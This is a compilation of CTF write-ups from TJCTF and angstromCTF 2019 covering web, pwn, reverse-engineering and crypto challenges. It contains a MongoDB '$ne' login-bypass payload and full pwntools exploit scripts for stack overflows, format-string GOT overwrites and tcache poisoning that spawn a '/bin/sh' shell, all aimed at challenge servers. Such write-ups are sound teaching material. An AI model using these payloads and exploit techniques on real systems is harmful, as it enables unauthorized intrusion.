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## Journey - 20 pts___### DescriptionEvery journey starts on step one```bashnc p1.tjctf.org 8009```
### Solution___If we connect to the p1.tjctf.org at port 8009 we will receive something like this```bashroot@pwnhub:~/ctfs/tjctf2019/journey# nc p1.tjctf.org 8009Encountered 'one'The first step: ```
When we put one, we will receive another encounterd value to be able to step forward.```bashroot@pwnhub:~/ctfs/tjctf2019/journey# nc p1.tjctf.org 8009Encountered 'one'The first step: oneEncountered 'infected'The next step: ```
This will ask you again and again. So, It will be so hard to be able to enter it manually.So, I wrote a script. Pseudo code is like this 1. Connect to the server2. Receive first line which contains "Encountered 'one'"3. Check if there were flag inside first line4. Extract the encounter word5. Receive second line until we could input6. Send the word back7. Loop from 2 to 6:D
Here is my [code](https://github.com/kh4nt99/ctfs/blob/master/tjctf2019/journey/solution.py)
[Original Link](https://github.com/kh4nt99/ctfs/tree/master/tjctf2019/journey) |
# ▼▼▼No Sequels(Web:50pts、solved:312/1374=22.7%)▼▼▼
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
```The prequels sucked, and the sequels aren't much better, but at least we always have the original trilogy.
Author: SirIan
Hint: MongoDB is a safer alternative to SQL, right?```
---
## 【source code】
```app.use(bodyParser.json());app.use(bodyParser.urlencoded({ extended: false }));
...
router.post('/login', verifyJwt, function (req, res) { // monk instance var db = req.db;
var user = req.body.username; var pass = req.body.password;
if (!user || !pass){ res.send("One or more fields were not provided."); } var query = { username: user, password: pass }
db.collection('users').findOne(query, function (err, user) { if (!user){ res.send("Wrong username or password"); return }
res.cookie('token', jwt.sign({name: user.username, authenticated: true}, secret)); res.redirect("/site"); });});```
---
## 【understanding functions】
・Login function exists
---
## 【exploit】
From the title, I think NoSQL injection
**Node.js** can also receive parameters in JSON format, so send the following **request converted to JSON format**
```POST /login HTTP/1.1Host: nosequels.2019.chall.actf.coContent-Length: 67Content-Type: application/jsonCookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1ODA0Nzc5fQ.N1GQCY5ZtBNZD-O9CK7nImn_jQjCqGdbE-46U4nDLQE
{ "username": {"$ne": null}, "password": {"$ne": null}}```
↓
`actf{no_sql_doesn't_mean_no_vuln}` |
##
## 83 Pwn / Silk Road I
Brute-force crack the ID, secret must be numeric string so it does not take very long to crack
```c#include <stdio.h>#include <stdlib.h>#include <stdbool.h>
bool sub_40140A(char *secret){ size_t v1; // r12 size_t v2; // r12 bool ret; // al int v4; // [rsp+1Ch] [rbp-34h] int v5; // [rsp+34h] [rbp-1Ch] int v6; // [rsp+38h] [rbp-18h] int sint; // [rsp+3Ch] [rbp-14h]
sint = strtol(secret, 0LL, 10); ret = 0; if ( sint % (strlen(secret) + 2) || secret[4] != '1' ) return ret; v6 = sint / 100000; v5 = sint % 10000; if ( 10 * (sint % 10000 / 1000) + sint % 10000 % 100 / 10 - (10 * (sint / 100000 / 1000) + sint / 100000 % 10) != 1 || 10 * (v6 / 100 % 10) + v6 / 10 % 10 - 2 * (10 * (v5 % 100 / 10) + v5 % 1000 / 100) != 8 ) { return ret; } v4 = 10 * (v5 / 100 % 10) + v5 % 10; if ( (10 * (v6 % 10) + v6 / 100 % 10) / v4 != 3 || (10 * (v6 % 10) + v6 / 100 % 10) % v4 ) return ret; v1 = strlen(secret) + 2; v2 = (strlen(secret) + 2) * v1; if ( sint % (v5 * v6) == v2 * (strlen(secret) + 2) + 6 ) ret = 1; return ret;}
char buf[0x100];
int main(int argc, char const *argv[]){ for (size_t i = 0; i < 0x100000000; ++i) { snprintf(buf, sizeof(buf), "%d", (int)i); if (sub_40140A(buf)) puts(buf);//790317143 } return 0;}```
Nickname is not hard to get so I will skip it. Then there is a stack-overflow, which is easy.
```pythonfrom pwn import *
g_local=0p = ELF("./silkroad.elf")context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./silkroad.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 58399)
def prepare(): sh.recvuntil("ID: ") sh.send("790317143") sh.recvuntil("nick: ") sh.send("DreadPirateRobertsXiz\x00") sh.recvuntil("delete evidince and run Silkroad!\n")prepare()sh.sendline("A" * (64+8) + p64(0x401bab) + p64(p.got["puts"]) + p64(p.plt["puts"]) + p64(0x401AFD))
leak = sh.recvuntil('\n')libc_addr = u64(leak[:-1] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr)
prepare()sh.sendline("A" * (64+8) + p64(0x401B4B) + p64(0x401bab) + \ p64(libc_addr + next(e.search("/bin/sh"))) + p64(libc_addr + e.symbols["system"]) + p64(0))
sh.interactive()```
## 171 Pwn / Silk Road II
Since many `strtol` is used, so I would guess this token is also numeric and it is also can be brute-force cracked, but this time I will load the ELF executable as a shared library and call the verification function directly.
```c#include <stdio.h>#include <dlfcn.h>#include <memory.h>typedef int (*func_t)(char *);char buf[0x100];char key[0x100];
//to clear the stack of verification function, //because use of `strncpy` will cause uninitialized variable access (no null terminate)//which causes unexpected results if `strcat` is called to that string latervoid clear_stack(){ char buf[0x1000]; memset(buf, 0, sizeof(buf));}
int main(int argc, char const *argv[]){ char* addr = *(char**)dlopen("./silkroad_2.elf", RTLD_NOW | RTLD_GLOBAL); func_t f = (func_t)(addr + 0x1C06); for (int i = 0; i < 0x3b9aca00; ++i) { sprintf(buf, "%.9d", i); for (int i = 0; i < 4; ++i) { key[i] = buf[i]; } for (int i = 0; i < 5; ++i) { key[6 + i] = buf[4 + i]; } key[4] = '1'; key[5] = '1';//4,5 must be length, which is always 11 key[11] = 0; clear_stack(); if (f(key) == 1) puts(buf); } return 0;}```
The vulnerability is format string vulnerability, when error message is printed if an invalid command is given. We can rewrite got table entry of `printf`, then hijack the `rip` and get shell using `one_gadget`
```pythonfrom pwn import *
g_local=1context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process(["./silkroad_2.elf", "flag{test}"]) gdb.attach(sh)else: sh = remote("82.196.10.106", 47299)
def hn(pos, val): assert val < 0x10000 if val == 0: return "%" + str(pos) + "$hn" else: return "%" + str(val) + "c%" + str(pos) + "$hn"
def cont_shoot(poses, vals, prev_size = 0): assert len(poses) == len(vals) size = len(poses) ret = "" i = 0 cur_size = prev_size next_overflow = ((prev_size + 0xffff) / 0x10000) * 0x10000 while i < size: assert next_overflow >= cur_size num = next_overflow - cur_size + vals[i] if num < 0x10000: ret += hn(poses[i], num) next_overflow += 0x10000 else: num = vals[i] - (cur_size - (next_overflow - 0x10000)) assert num >= 0 ret += hn(poses[i], num) cur_size += num i += 1 return ret
sh.recvuntil("Enter your token: ")sh.send("98831114236")sh.recvuntil(">> ")sh.sendline("1")
sh.recvuntil("admin: ")
def format_exp(payload): sh.sendline(payload) sh.recvuntil("invalid: \\") ret = sh.recvuntil('\n') sh.recvuntil("admin: ") return ret[:-1]
libc_addr = int(format_exp("\\%2$p")[2:], 16) - 0x3ed8c0print hex(libc_addr)
#mh = libc_addr + e.symbols["__malloc_hook"]#format_exp('\\' + cont_shoot([mh, mh+2, mh+4], []))#sh.sendline("\\q" + cyclic(128))#library function rewrites our input
prog_addr = int(format_exp("\\%9$p")[2:], 16) - 0x98dprint hex(prog_addr)
pg = prog_addr + 0x3f50 #printf got table entrysys = libc_addr + 0x10a38c#e.symbols["system"]
format_exp("\\" + cyclic(7) + 'A' * (8 * 8) + p64(0) * 2 + p64(pg) + p64(pg+2) + p64(pg+4))
sh.sendline('\\' + cont_shoot([25, 26, 27], \ [sys & 0xffff, (sys >> 0x10) & 0xffff, (sys >> 0x20)], 0x11))
sh.interactive()```
## 182 Pwn / Silk Road III
The vulnerability is exactly same, but the verification is different.
```csigned __int64 __fastcall sub_1FCA(char *input){ int v1; // eax int v2; // ST1C_4 unsigned __int64 v3; // rbx size_t v4; // r12 size_t v5; // r12 char v6; // bl int v7; // ebx int v8; // ebx size_t v9; // rax signed __int64 result; // rax signed int i; // [rsp+14h] [rbp-4Ch] signed int j; // [rsp+14h] [rbp-4Ch] signed int k; // [rsp+14h] [rbp-4Ch] signed int l; // [rsp+14h] [rbp-4Ch] char _1337[5]; // [rsp+22h] [rbp-3Eh] char v16[6]; // [rsp+27h] [rbp-39h] char v17[6]; // [rsp+2Dh] [rbp-33h] char haystack[6]; // [rsp+33h] [rbp-2Dh] char v19[15]; // [rsp+39h] [rbp-27h] unsigned __int64 v20; // [rsp+48h] [rbp-18h]
v20 = __readfsqword(0x28u); haystack[5] = 0; for ( i = 0; i <= 4; ++i ) haystack[i] = input[strlen(input) - 5 + i]; if ( !strstr(haystack, "1337") ) // 14:19 goto LABEL_23; //must contain 1337, and be either X1337 or 1337X v1 = strtol(haystack, 0LL, 10); v2 = 100 * (input[13] - '0') + 1000 * (input[6] - '0') + input[15] - '0'; v3 = v1; v4 = strlen(input); v5 = strlen(input) * v4; if ( v3 % (strlen(input) * v5) != v2 ) goto LABEL_23;// 1337XorX1337 % len**3 must have ten digit being 0 for ( j = 0; j <= 4; ++j ) { v16[j] = input[j]; v17[j] = input[strlen(input) - 10 + j]; } v16[5] = 0; v17[5] = 0; for ( k = 0; k <= 14; ++k ) v19[k] = input[k]; v19[14] = 0; for ( l = 0; l <= 3; ++l ) _1337[l] = haystack[l + 1]; _1337[4] = 0; if ( strstr(v19, _1337) && (v6 = *input, v6 == input[strlen(input) - 8])// [0] == [11] && (v7 = input[strlen(input) - 2] - 48, v8 = input[strlen(input) - 3] - 48 // [17] + [16] + [15] + 1 == [1] + v7, v8 + input[strlen(input) - 4] - 48 + 1 == input[1] - 48) && (v9 = strlen(input), v9 == 19 * ((unsigned __int64)(0xD79435E50D79435FLL * (unsigned __int128)v9 >> 64) >> 4)) )// len must == 19 { result = 1LL; } else {LABEL_23: result = 0xFFFFFFFFLL; } return result;}```
Actually the restriction is easier to bypass than second version, `X813373XXXXXX931337` can pass the check.
```pythonfrom pwn import *
g_local=0context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process(["./ross.elf", "flag{test}"]) gdb.attach(sh)else: sh = remote("82.196.10.106", 31337)
def hn(pos, val): assert val < 0x10000 if val == 0: return "%" + str(pos) + "$hn" else: return "%" + str(val) + "c%" + str(pos) + "$hn"
def cont_shoot(poses, vals, prev_size = 0): assert len(poses) == len(vals) size = len(poses) ret = "" i = 0 cur_size = prev_size next_overflow = ((prev_size + 0xffff) / 0x10000) * 0x10000 while i < size: assert next_overflow >= cur_size num = next_overflow - cur_size + vals[i] if num < 0x10000: ret += hn(poses[i], num) next_overflow += 0x10000 else: num = vals[i] - (cur_size - (next_overflow - 0x10000)) assert num >= 0 ret += hn(poses[i], num) cur_size += num i += 1 return ret
sh.recvuntil("Enter your token: ")sh.send("X813373XXXXXX931337")sh.recvuntil("your nick: ")sh.sendline("admin")sh.recvuntil(">> ")sh.sendline("1")
sh.recvuntil("admin: ")
def format_exp(payload): sh.sendline(payload) sh.recvuntil("invalid: \\") ret = sh.recvuntil('\n') sh.recvuntil("admin: ") return ret[:-1]
libc_addr = int(format_exp("\\%2$p")[2:], 16) - 0x3ed8c0print hex(libc_addr)
#mh = libc_addr + e.symbols["__malloc_hook"]#format_exp('\\' + cont_shoot([mh, mh+2, mh+4], []))#sh.sendline("\\q" + cyclic(128))#library function rewrites our input
prog_addr = int(format_exp("\\%9$p")[2:], 16) - 0x1E9D - 5print hex(prog_addr)
pg = prog_addr + 0x5F68 #printf got table entrysys = libc_addr + 0x10a38c#e.symbols["system"]
format_exp("\\" + cyclic(7) + 'A' * (8 * 8) + p64(0) * 2 + p64(pg) + p64(pg+2) + p64(pg+4))
sh.sendline('\\' + cont_shoot([25, 26, 27], \ [sys & 0xffff, (sys >> 0x10) & 0xffff, (sys >> 0x20)], 0x11))
sh.interactive()```
The exploit is same, except some offset has been changed.
## 116 Pwn / pwn 101
Vulnerability is off-by-one, we can use this to extend the chunk size of unsorted bin to create overlap to leak the `libc` address; then we can get the same chunk twice in 2 different indices, so we can use double free to poison `tcache bins` and rewrite `__free_hook`.
```pythonfrom pwn import *from struct import unpack as upg_local=0#p = ELF("./pwn101.elf")context(log_level='debug', arch='amd64')#e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./pwn101.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 29099)
sh.recvuntil("> ")def add(length, name, description="20192019"): sh.sendline("1") sh.recvuntil("Description Length: ") sh.sendline(str(length)) sh.recvuntil("Phone Number: ") sh.sendline("2019") sh.recvuntil("Name: ") sh.send(name) sh.recvuntil("Description: ") sh.send(description) sh.recvuntil("> ")
def delete(idx): sh.sendline("3") sh.recvuntil("Index: ") sh.sendline(str(idx)) sh.recvuntil("> ")
def show(idx): sh.sendline("2") sh.recvuntil("Index: ") sh.sendline(str(idx)) sh.recvuntil("Description : ") ret = sh.recvuntil('\n') sh.recvuntil("> ") return ret[:-1]
for i in xrange(7): add(0x200, 'name', 'fill tcache')add(0x200, 'ab') #7for i in xrange(7): delete(i)
add(0x58, 'c', 'A' * 0x50 + p64(0x1f0)) #0add(0x100, 'pad') #1delete(7)
add(0x78, "offbyone", 'a' * 0x78 + '\xf1') #2#0x191 -> 0x1f1add(0x180, "leak") #3libc_addr = u64(show(0) + '\x00\x00') - 0x3ebca0print hex(libc_addr)#0x7fe5e1b31ca0 on server, so 2.27
add(0x50, '22', "/bin/sh") #4
delete(4)delete(0)
add(0x50, 'consume', p64(libc_addr + 0x3ed8e8))#e.symbols["__free_hook"]))add(0x50, 'consume')add(0x50, '/bin/sh\x00', p64(libc_addr + 0x4f440))#e.symbols["system"])) #5
sh.sendline("3")sh.recvuntil("Index: ")sh.sendline(str(5))
sh.interactive()```
## 104 Pwn / Precise average
The stack overflow is obvious, but we need to find ways to bypass canary protection. The key is to send `"-"` as the floating point number, which is invalid and `scanf` will return negative, but it will not rewrite the pointer passed as argument and leave it as it is. By using this technique canary will not be rewritten.
```pythonfrom pwn import *from struct import unpack as upg_local=0p = ELF("./precise_avg.elf")context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./precise_avg.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 12499)
pop_rdi = p64(0x4009c3)main = p64(0x4007D0)
def exploit(rop): sh.recvuntil("Number of values: ")
length = 35 + len(rop)/8 sh.sendline(str(length))
for i in xrange(35): sh.sendline("-")
for i in xrange(0, len(rop), 8): sh.sendline("%.800f" % up("<d", rop[i:i+8])[0])
sh.recvuntil("Result = ") sh.recvuntil('\n')
rop = pop_rdirop += p64(p.got["puts"])rop += p64(p.plt["puts"])rop += mainexploit(rop)
leak = sh.recvuntil('\n')
libc_addr = u64(leak[:-1] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr)
rop = p64(0x400958) #retnrop += pop_rdirop += p64(libc_addr + next(e.search("/bin/sh")))rop += p64(libc_addr + e.symbols["system"])rop += p64(0)
exploit(rop)
sh.interactive()```
## 287 Reverse / Mind Space
This is a C++ reverse engineering challenge. Fortunately the optimization is not enabled, otherwise many C++ built-in functions would be "inlined" and the codes would be very messy. The key is to recognize `std::vector`, `std::string` and `angles` structure.
```cstruct angles{ _QWORD field_0; _QWORD field_8;};//actually they are `double` typestruct vector{ angles *pointer; angles *end; angles *real_end;};struct string{ char *pointer; size_t len; size_t maxlen_data; __int64 field_18;};```
I would not detail the C++ implementation here, if you want to know just search online or write some test codes with STL and reverse them.
Here are some critical codes:
```cwhile ( !std::basic_ios<char,std::char_traits<char>>::eof(&input_stream_256) ){ v17 = 0LL; std::getline(input_stream, &flag;; v17 = string::find(&flag, ", ", 0LL); string::substr(&v14, &flag, 0LL, v17); string::operator_assign(&a1a, &v14); string::string_des(&v14); string::erase(&flag, 0LL, v17 + 1); sndnum = string::strtod((__int64)&flag, 0LL); a3 = sndnum - 80.0 - (double)i; fstnum = string::strtod((__int64)&a1a, 0LL); vector::push_back_withcheck(&a2, (double)i++ + fstnum - 80.0, a3); // fstnum is modified and inserted as field_8, and sndnum is field_0}```
```c__int64 __fastcall encode(string *a1, double a2){ double v2; // ST00_8 bool v4; // [rsp+17h] [rbp-19h] char v5; // [rsp+18h] [rbp-18h] int v6; // [rsp+1Ch] [rbp-14h]
v2 = a2; v6 = 2 * (signed int)round(100000.0 * a2); if ( v2 < 0.0 ) v6 = ~v6; string::string(a1); do { v4 = v6 >> 5 > 0; v5 = v6 & 0x1F; if ( v6 >> 5 > 0 ) v5 |= 0x20u; // a little bit similar to uleb128 in android string::operator_add(a1, (unsigned int)(char)(v5 + 0x3F)); v6 >>= 5; } while ( v4 ); return (__int64)a1;}```
This is the solving script
```pythondef read_flagenc(): f = open("./flag.txt.enc", "rb") ret = f.read() f.close() return map(ord, ret[:-1])
def recover_ints(data): ret = [] i = 0 off = 0 for c in data: n = c - 0x3f if (n & 0x20) == 0: i += n << (5 * off) ret.append(i) i = 0 off = 0 else: n -= 0x20 assert n < 0x20 i += n << (5 * off) off += 1 return ret
arr = recover_ints(read_flagenc())
def back_to_double(i): if i % 1000 == 999: # if it is originally negative i = -i - 1 assert i % 1000 == 0 # % 2 == 0 return i / 2 / 100000.0
arr = map(back_to_double, arr)
last0 = 0.0last1 = 0.0for i in xrange(0, len(arr), 2): arr[i] += last1 arr[i+1] += last0 last0 = arr[i+1] last1 = arr[i] #arr[i],arr[i+1] = arr[i+1],arr[i]
for i in xrange(0, len(arr), 2): arr[i] = arr[i] + 80.0 - (i/2 + 1) arr[i+1] = arr[i+1] + 80.0 + (i/2 + 1)
print arrprint "".join(map(lambda x : chr(int(x)), arr))
out = ""for i in xrange(0, len(arr), 2): out += "%.2f, %.2f\n" % (arr[i], arr[i+1]) # we know it is %.2f because it is the results are too close to it # (something like xx.xx9999999 or xx.xx00000001)
out = out[:-1]
f = open("flag.txt", 'wb')f.write(out)f.close()```
Then we have a `flag.txt`, but how do we get the flag from it? After asking for help from organizers (well, they told me this so it was allowed :D), we knew that for a floating point number `aa.bb`, `bb` is index `aa` is `ascii` value, so we can get the flag.
## 195 Reverse / Archimedes
This is the critical code that generate encrypted flag.
```cwhile ( 1 ){ v23 = i; if ( v23 >= string::size(&input) ) break; v24 = sub_5555555577A7(0x10u, 8); string::substr((__int64)&v52, (__int64)&v31, 2 * i, 2LL); stringstream::stringstream(&v26, &v52, v24); string::destructor((__int64)&v52); std::istream::operator>>(&v26, &v28); input_char = (_BYTE *)string::operator_index(&input, i); string::operator_add(&v30, (unsigned int)(char)(v28 ^ *input_char ^ 0x8F ^ i++)); basic_stringstream::destructor(&v26);}```
This is basically `xor`, but `v28` is not dependent on current time instead of input flag, so we need to brute-force crack the `rand() % 0xffff` that produces the byte sequence that gives the correct flag after `xor` operation.
But how to get that byte sequence given a particular `unsigned short` value? My approach is to patch the binary. Firstly, let it accept the second argument as the value that should have been generated by `rand()`. This can be done by changing the assembly. However, we need `atoi` function but there is no such function imported in this binary. The way to solve this is to change the `"srand"` or `"rand"` string in symbol string table to `"atoi"`, so that the function becomes `atoi`. Also, we need to cancel the `xor` operation such that the byte sequence being outputted into file is not encrypted flag but the byte sequence generated from the second argument.
We get the flag using following script
```pythonfrom os import system
def read_file(filename): f = open(filename, "rb") ret = f.read() f.close() return ret
for x in xrange(1,0xffff): system("./archimedes2 flagenc %d" % x) key = read_file("./flagenc.enc") enc = read_file("./flag.enc")
flag = "" for i in xrange(0x2f): flag += chr(ord(key[i]) ^ ord(enc[i]) ^ 0x8f ^ i) print flag```
However, this is slow, it might take much time to traverse all 65534 cases, but fortunately the flag comes up very soon.
Also here is the [patched program](files/archimedes2). |
# Paper CutMisc
## Challenge
defund submitted a math paper to a research conference and received a few comments from the editors. Unfortunately, we only have a fragment of the returned paper.
Author: defund
[paper_cut.pdf](paper_cut.pdf)
## Solution
We have a PDF with no trailer / xref table
$ exiftool paper_cut.pdf ExifTool Version Number : 11.11 File Name : paper_cut.pdf Directory : . File Size : 32 kB File Modification Date/Time : 2019:04:21 22:23:44+08:00 File Access Date/Time : 2019:04:22 00:00:00+08:00 File Inode Change Date/Time : 2019:04:21 22:24:06+08:00 File Permissions : rw-r--r-- File Type : PDF File Type Extension : pdf MIME Type : application/pdf PDF Version : 1.3 Linearized : No Warning : Invalid xref table
Usually some corrupted PDFs can be rendered by Ghostscript. But in this case it did not process the file.
$ gs -o repaired.pdf -sDEVICE=pdfwrite -dPDFSETTINGS=/prepress paper_cut.pdf GPL Ghostscript 9.25 (2018-09-13) Copyright (C) 2018 Artifex Software, Inc. All rights reserved. This software comes with NO WARRANTY: see the file PUBLIC for details. **** Error: Cannot find a 'startxref' anywhere in the file. Output may be incorrect. **** Error: An error occurred while reading an XREF table. **** The file has been damaged. This may have been caused **** by a problem while converting or transfering the file. **** Ghostscript will attempt to recover the data. **** However, the output may be incorrect. **** Error: Trailer dictionary not found. Output may be incorrect. No pages will be processed (FirstPage > LastPage).
**** This file had errors that were repaired or ignored. **** Please notify the author of the software that produced this **** file that it does not conform to Adobe's published PDF **** specification.
**** The rendered output from this file may be incorrect.
If we look in the PDF file, we realise that there is a `stream` but no `endstream`.
This means that we can try to manually parse the stream of whatever content is left.
We also see it has a encoding of `FlateDecode`.
---
Reference for PDF file format (content stream):
- https://pspdfkit.com/blog/2018/pdf-text-extraction/- http://what-when-how.com/itext-5/parsing-pdfs-part-1-itext-5/- https://commandlinefanatic.com/cgi-bin/showarticle.cgi?article=art019- https://labs.appligent.com/pdfblog/pdf-hello-world/- https://resources.infosecinstitute.com/pdf-file-format-basic-structure/
Extracting FlateDecode content stream from PDF:
- http://binaryhax0r.blogspot.com/2010/06/flatedecode-decoder.html- https://stackoverflow.com/questions/20620374/how-to-inflate-a-partial-zlib-file- https://stackoverflow.com/questions/42791781/uncompress-and-save-zlib-data-in-pdf-with-python- https://forums.adobe.com/thread/1663978- https://gist.github.com/averagesecurityguy/ba8d9ed3c59c1deffbd1390dafa5a3c2
---
So putting it into a Python script, I extracted the content stream and also all the text.
This leaves me with the following text.
However, there is no flag to be seen.
This was when I realised that there are a whole bunch of coordinates after all the texts have been rendered.
---
Content Stream Operators
- https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/pdf_reference_archives/PDFReference.pdf (Page 700)- https://github.com/galkahana/HummusJS/wiki/Use-the-pdf-drawing-operators
---
From the operators, it appears to be drawing operators at the defined coordinates.
With this, I extracted all coordinates and then simply plotted it on a graph
From this, we can somewhat see the flag. But then it is all in discrete points which is hard to make out.
Here I had to look properly at the operators in the content stream.
// Extracted from Adobe PDF reference document m moveto Begin new subpath l lineto Append straight line segment to path c curveto Append curved segment to path (three control points)
I implemented the line and curves on a Canvas in the script and thus got the following
Final script
[solve.py](solve.py)
## Flag
actf{worthy_of_the_fields_medal} |
# PowerballCrypto
## Challenge
Introducing ångstromCTF Powerball, where the Grand Prize is a flag! All you need to do is guess 6 ball values, ranging from 0 to 4095. But don't worry, we'll give one for free!
nc crypto.2019.chall.actf.co 19001
Author: defund
powerball.zip
## Hint
This oblivious transfer protocol is straight from Wikipedia!
## Solution
From the code, it looks like some sort of RSA protocol
self.write(welcome) balls = [getRandomRange(0, 4096) for _ in range(6)] x = [getRandomRange(0, n) for _ in range(6)] self.write('x: {}\n'.format(x).encode()) v = int(self.query(b'v: ')) m = [] for i in range(6): k = pow(v-x[i], d, n) m.append((balls[i]+k) % n) self.write('m: {}\n'.format(m).encode()) guess = [] for i in range(6): guess.append(int(self.query('Ball {}: '.format(i+1).encode()))) if balls == guess: self.write(b'JACKPOT!!!') self.write(flag) else: Looking at the hint, we go to Wikipedia and realise it is a 1-2 oblivious transfer protocol.
It is also called 1-out-of-2 oblivious transfer protocol using RSA blinding.
#### 1–2 oblivious transfer
- https://en.wikipedia.org/wiki/Oblivious_transfer- http://zoo.cs.yale.edu/classes/cs467/2013s/lectures/ln23.pdf- https://crypto.stackexchange.com/a/8862
This is the implementation.
# 1. Alice has two messages, m0, m1, and wants to send exactly one of # them to Bob. Bob does not want Alice to know which one he receives.
# 2. Alice generates an RSA key pair, comprising the modulus N, # the public exponent e and the private exponent d.
# 3. She also generates two random values, x0, x1 and sends them to Bob # along with her public modulus and exponent.
# 4. Bob picks b to be either 0 or 1, and selects either the first or second xb.
# 5. He generates a random value k and blinds xb by # computing v=(xb + k^e) mod N, which he sends to Alice.
# 6. Alice doesn't know (and hopefully cannot determine) which of x0 and x1 Bob chose. # She applies both of her random values and comes up with two possible values for k: # k0 =(v-x0)^d mod N and k1 =(v-x1)^d mod N # One of these will be equal to k and can be correctly decrypted by Bob (but not Alice), # while the other will produce a meaningless random value that does not reveal any # information about k.
# 7. She combines the two secret messages with each of the possible keys, # m'0=m0+k0 and m'1=m1+k1, and sends them both to Bob.
# 8. Bob knows which of the two messages can be unblinded with k, so he is able to compute exactly one of the messages m0=m'0-k0 and m1=m'1-k1.
From this, I extracted a few equations.
All these in modulo N
// Sending choice, b, to alice v = (xb + k^e) k0 = (v-x0)^d k0 = ((xb + k^e)-x0)^d k0 = ((xb-x0 + k^e)^d
If xb=x0 Then k0 = k
// Bob unblinding messages # m'0 = m0 + k
How do we extract the other messages?
If you look carefully, the size of `m` (balls) is very small. It is only within 0 to 4096
balls = [getRandomRange(0, 4096) for _ in range(6)]
After some thinking, the fastest method is to do a forward bruteforce and compare results.
Bruteforce technique
I have m'1=m1+k1 Since 0 <= m1 <= 4096, there are 4096 possibilities of k1 Given k1 = (xb-x1 + k^e)^d, Find k1^e = (xb-x1 + k^e)^ed k1^e = (xb-x1 + k^e) ---------- (Eqn 1)
From Alice's message calculate k1^e also m'1=m1+k1 k1 = m'1 - m1, where m1 is bruteforced k1^e = (m'1 - m1)^2 ---------- (Eqn 2)
With (Eqn 1) and (Eqn 2) find the one that matches and that will be the correct m.
Final script: [solve.py](solve.py)
$ python3 solve.py Received: ************ ANGSTROMCTF POWERBALL ************ Correctly guess all 6 ball values ranging from 0 to 4095 to win the jackpot! As a special deal, we'll also let you secretly view a ball's value!
x: ...
v: ...
Found m[0] = 3012 Found m[1] = 3825 Found m[2] = 422 Found m[3] = 3160 Found m[4] = 3217 Found m[5] = 2867 Received: Ball 1: Received: Ball 2: Received: Ball 3: Received: Ball 4: Ball 5: Ball 6: JACKPOT!!! actf{no_more_free_oblivious_transfers}
## Flag
actf{no_more_free_oblivious_transfers} |
# WALL-ECrypto
## Challenge
My friend and I have been encrypting our messages using RSA, but someone keeps intercepting and decrypting them! Maybe you can figure out what's happening?
Author: lamchcl
wall-e.pywall-e.txt
## Solution
#### Exponent is Small
Notice that the exponent is very small `e = 3`.
- https://crypto.stackexchange.com/a/6771
> Without padding, encryption of m is me mod n: the message m is interpreted as an integer, then raised to exponent e, and the result is reduced modulo n. If e = 3 and m is short, then m3 could be an integer which is smaller than n, in which case the modulo operation is a no-operation. In that case, you can just compute the cube root of the value you have (cube root for plain integers, not modular cube root).
So if our message is small enough, we can do a cube root to retrieve our message.
Unfortunately, the message is padded.
---
#### Padding is using 0x00 bytes
However, it is padded with 0x00 bytes.
Let's say we do no padding
c = m^e [mod n]
If we do one padding of 1, we get this
c = m1^e [mod n]
m1 = m * 0x100 c = (m*0x100)^e [mod n] Hence, by rearranging using exponent law: c = m^e * 0x100^e [mod n]
So for multiples of paddings, we know that
m1 = m * 0x100 m2 = m * 0x100 * 0x100
Thus, by the pattern... mP = m * 0x100^P, where P is the number of padding bytes
Because of the zero padding, we know that
m % 0x100 == 0
m = c^d mod n (c^d % n) % 0x100 == 0
#### Attacking...
So we know that we can divide away the padding. After which, check if the cube root operation is possible.
Since we are working with modulo N, the division must occur within the finite field.
---
I did a simple function to continuously add the modulo until the numerator is divisible.
def divide_away_padding(numerator, n): multiplicator = 0 while True: #print('Iterate', multiplicator) x = numerator + multiplicator * n if (x & 0xFF) == 0: x //= 0x100 break
multiplicator += 1 return (x, multiplicator)
To do it efficiently, I checked for the lowest byte to check if it equals to zero. This is because we are going to divide away a 0x00 byte, which means it is a multiple of 0x100 and hence ANDing with 0xFF will be equal to zero.
---
Despite this, there was no flag no matter how many times I divided.
Next, I realised that the cube root must be within the finite field too.
This function simply does a cuberoot if possible. If not, it will add the modulo and check again. It does this for 10000 iterations (arbitary number) before it "times out"
def cuberoot_under_modulo(orig, n): for tries in range(10000): result = gmpy2.iroot(orig, 3)[0]
if int(pow(result, 3)) == int(orig): return result else: orig += n
---
Finally, looks like all the theory is going well.
Trying out, we get a success after a divison of 251 padding bytes.
WALL_E $ python3 solve.py Try padding: 0 Try padding: 1 Try padding: 2 ... Try padding: 250 Try padding: 251 b'actf{bad_padding_makes_u_very_sadding_even_if_u_add_words_just_for_the_sake_of_adding}'
## Flag
actf{bad_padding_makes_u_very_sadding_even_if_u_add_words_just_for_the_sake_of_adding} |
TL;DR
Spotting the weakness (AES with CBC Mode). Get token Flipping specific bytes in session json (turn flase to true). manipulate token with flipped bytes. Send manipulated token to page. Get the flag.
Here is the full explained writeup: [HERE](https://omega-coder.me/post/angstromctf-2019-secret-sheep-society-writeup-crypto) |
# LithpMisc
## Challenge
My friend gave me this program but I couldn't understand what he was saying - what was he trying to tell me?
Author: fireholder
[lithp.lisp.txt](lithp.lisp.txt)
## Solution
The code
> [lithp.lisp.txt](lithp.lisp.txt)
I debugged the functions in an online compiler
- https://rextester.com/l/common_lisp_online_compiler
This is my understanding of the code
function (whats-this x y) - returns x*y
function (multh plain) - plain is a list - returns a list of -a*a, for each a in list.
function (owo inpth) - reorder the list according to the index given at *reorder*
function (enc plain) - calls (owo (multh plain)) - remove the negative sign for each item in list - print flag
So I simply reversed the process in a script
